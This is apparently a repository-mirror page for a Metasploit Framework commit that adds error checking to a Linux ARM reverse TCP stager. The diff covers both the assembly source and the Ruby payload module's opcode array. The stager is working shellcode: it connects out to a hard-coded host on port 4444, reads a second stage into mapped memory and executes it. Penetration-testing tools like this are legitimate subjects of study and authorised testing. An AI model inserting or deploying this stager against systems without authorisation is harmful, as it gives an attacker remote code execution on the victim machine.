infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

fix mmap return cmp

bug/bundler_fix
Tim 2017-06-16 05:30:50 +08:00
parent 93c4b3fffc
commit 9cf9d22bae
2 changed files with 24 additions and 7 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

18
external/source/shellcode/linux/armle/stager_sock_reverse.s vendored
View File

@ -34,12 +34,16 @@ _start:
mov r1,#1 @ type = SOCK_STREAM
mov r2,#6 @ protocol = IPPROTO_TCP
swi 0
cmp r0, #0
blt failed
@ int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
mov r12,r0 @ sockfd
add r7,#2 @ __NR_socket
add r1,pc,#144 @ *addr
add r1,pc,#196 @ *addr
mov r2,#16 @ addrlen
swi 0
cmp r0, #0
blt failed
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
mov r0,r12 @ sockfd
sub sp,#4
@ -48,6 +52,8 @@ _start:
mov r2,#4 @ len
mov r3,#0 @ flags
swi 0
cmp r0, #0
blt failed
@ round length
ldr r1,[sp,#0]
ldr r3,=0xfffff000
@ -63,6 +69,8 @@ _start:
mov r4,r0 @ fd
mov r5,#0 @ pgoffset
swi 0
cmn r0, #1
beq failed
@ recv loop
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
add r7,#99 @ __NR_recv
@ -78,12 +86,20 @@ loop:
ble last
mov r2,#1000 @ len
swi 0
cmp r0, #0
blt failed
b loop
last:
add r2,#1000 @ len
swi 0
cmp r0, #0
blt failed
@ branch to code
mov pc,r1
failed:
mov r7, #1
mov r0, #1
swi 0
@ addr
@ port: 4444 , sin_fam = 2
.word 0x5c110002

13
modules/payloads/stagers/linux/armle/reverse_tcp.rb
View File

@ -39,6 +39,7 @@ module MetasploitModule
},
'Payload' =>
[
# Generated from external/source/shellcode/linux/armle/stager_sock_reverse.s
0xe59f70f0, # ldr r7, [pc, #240] ; set 281(0x119) to r7
0xe3a00002, # mov r0, #2
0xe3a01001, # mov r1, #1
@ -75,8 +76,8 @@ module MetasploitModule
0xe1a04000, # mov r4, r0
0xe3a05000, # mov r5, #0
0xef000000, # svc 0x00000000 ; invoke mmap2
0xe3500000, # cmp r0, #0
0xba000012, # blt 817c <failed>
0xe3700001, # cmn r0, #1
0x0a000012, # beq <failed>
0xe2877063, # add r7, r7, #99 ; set 291(0x123) to r7
0xe1a01000, # mov r1, r0
0xe1a0000c, # mov r0, ip
@ -86,17 +87,17 @@ module MetasploitModule
0xe2422ffa, # sub r2, r2, #1000
0xe58d2000, # str r2, [sp]
0xe3520000, # cmp r2, #0
0xda000002, # ble 80fc <last>
0xda000004, # ble 80fc <last>
0xe3a02ffa, # mov r2, #1000
0xef000000, # svc 0x00000000 ; invoke recv
0xe3500000, # cmp r0, #0
0xba000005, # blt 817c <failed>
0xeafffff7, # b 80dc <loop>
0xeafffff5, # b 80dc <loop>
# last:
0xe2822ffa, # add r2, r2, #1000
0xef000000, # svc 0x00000000 ; invoke recv
0xe3500000, # cmp r0, #0
0xba000000, # blt 817c <failed>
0xe3500000, # cmp r0, #0
0xba000000, # blt 817c <failed>
0xe1a0f001, # mov pc, r1
# failed:
0xe3a07001, # mov r7, #1